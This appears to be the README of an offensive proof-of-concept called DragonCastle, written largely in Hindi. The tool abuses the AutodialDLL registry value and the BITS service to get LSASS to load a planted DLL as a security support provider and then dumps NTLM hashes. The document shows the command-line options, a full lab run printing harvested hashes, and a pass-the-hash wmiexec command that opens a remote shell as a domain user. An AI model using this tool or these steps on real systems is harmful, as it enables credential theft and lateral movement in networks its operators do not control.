DragonCastle

एक PoC जो AutodialDLL पार्श्व गति तकनीक और SSP को मिलाकर LSASS प्रक्रिया से NTLM हैश निकालता है।

विवरण

लक्ष्य मशीन पर एक DLL अपलोड करें। फिर यह रिमोट रजिस्ट्री को सक्षम करता है ताकि AutodialDLL प्रविष्टि को संशोधित किया जा सके और BITS सेवा को प्रारंभ/पुनरारंभ किया जा सके। Svchosts हमारे DLL को लोड करेगा, AutodialDLL को डिफ़ॉल्ट मान पर पुनः सेट करेगा और LSASS को उसी DLL को सुरक्षा समर्थन प्रदाता के रूप में लोड करने के लिए एक RPC अनुरोध करेगा। एक बार DLL LSASS द्वारा लोड हो जाने पर, यह प्रक्रिया मेमोरी के अंदर खोज कर NTLM हैश और कुंजी/IV निकालता है।

DLLMain हमेशा False लौटाता है ताकि प्रक्रियाएँ इसे बनाए न रखें।

सावधानियाँ

यह केवल तब काम करता है जब RunAsPPL सक्षम न हो। साथ ही मैंने केवल 3DES को डिक्रिप्ट करने के लिए समर्थन जोड़ा है क्योंकि मैं आलसी हूँ, लेकिन AES के लिए कोड जोड़ना बहुत आसान होना चाहिए। इसी कारण से, मैंने केवल निम्नलिखित Windows संस्करणों के लिए समर्थन लागू किया है:

Build	Support
Windows 10 version 21H2
Windows 10 version 21H1	Implemented
Windows 10 version 20H2	Implemented
Windows 10 version 20H1 (2004)	Implemented
Windows 10 version 1909	Implemented
Windows 10 version 1903	Implemented
Windows 10 version 1809	Implemented
Windows 10 version 1803	Implemented
Windows 10 version 1709	Implemented
Windows 10 version 1703	Implemented
Windows 10 version 1607	Implemented
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

सिग्नेचर/ऑफ़सेट/स्ट्रक्ट Mimikatz से लिए गए हैं। यदि आप एक नया संस्करण जोड़ना चाहते हैं तो Mimikatz पर sekurlsa कार्यक्षमता देखें।

उपयोग

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid domain name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value

उदाहरण

Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!

psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/[email protected]          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------